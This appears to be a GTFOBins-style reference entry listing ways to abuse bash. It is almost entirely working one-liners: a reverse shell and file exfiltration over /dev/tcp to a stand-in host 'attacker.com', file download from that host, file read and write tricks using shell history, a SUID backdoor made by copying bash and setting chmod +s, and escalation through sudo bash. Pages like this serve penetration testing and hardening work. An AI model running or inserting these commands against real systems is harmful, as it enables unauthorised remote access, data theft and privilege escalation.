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Star

Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

```
bash
```

Reverse shell

It can send back a reverse shell to a listening attacker to open a remote network access.

Run nc -l -p 12345 on the attacker box to receive the shell.

export RHOST=attacker.com
export RPORT=12345
bash -c 'bash -i &>/dev/tcp/$RHOST/$RPORT 0<&1'

File upload

It can exfiltrate files on the network.

Send local file in the body of an HTTP POST request. Run an HTTP service on the attacker box to collect the file.

export RHOST=attacker.com
export RPORT=12345
export LFILE=file_to_send
bash -c 'echo -e "POST / HTTP/0.9\n\n$(<$LFILE)" > /dev/tcp/$RHOST/$RPORT'

Send local file using a TCP connection. Run nc -l -p 12345 > "file_to_save" on the attacker box to collect the file.

export RHOST=attacker.com
export RPORT=12345
export LFILE=file_to_send
bash -c 'cat $LFILE > /dev/tcp/$RHOST/$RPORT'

File download

It can download remote files.

Fetch a remote file via HTTP GET request.

export RHOST=attacker.com
export RPORT=12345
export LFILE=file_to_get
bash -c '{ echo -ne "GET /$LFILE HTTP/1.0\r\nhost: $RHOST\r\n\r\n" 1>&3; cat 0<&3; } \
    3<>/dev/tcp/$RHOST/$RPORT \
    | { while read -r; do [ "$REPLY" = "$(echo -ne "\r")" ] && break; done; cat; } > $LFILE'

Fetch remote file using a TCP connection. Run nc -l -p 12345 < "file_to_send" on the attacker box to send the file.

export RHOST=attacker.com
export RPORT=12345
export LFILE=file_to_get
bash -c 'cat < /dev/tcp/$RHOST/$RPORT > $LFILE'

File write

It writes data to files, it may be used to do privileged writes or write files outside a restricted file system.

export LFILE=file_to_write
bash -c 'echo DATA > $LFILE'

This adds timestamps to the output file.

LFILE=file_to_write
HISTIGNORE='history *'
history -c
DATA
history -w $LFILE

File read

It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.

It trims trailing newlines and it’s not binary-safe.
```
export LFILE=file_to_read
bash -c 'echo "$(<$LFILE)"'
```

The read file content is surrounded by the current history content.

LFILE=file_to_read
HISTTIMEFORMAT=$'\r\e[K'
history -r $LFILE
history

SUID

It runs with the SUID bit set and may be exploited to access the file system, escalate or maintain access with elevated privileges working as a SUID backdoor. If it is used to run sh -p, omit the -p argument on systems like Debian that allow the default sh shell to run with SUID privileges.

sudo sh -c 'cp $(which bash) .; chmod +s ./bash'

./bash -p

Sudo

It runs in privileged context and may be used to access the file system, escalate or maintain access with elevated privileges if enabled on sudo.

```
sudo bash
```

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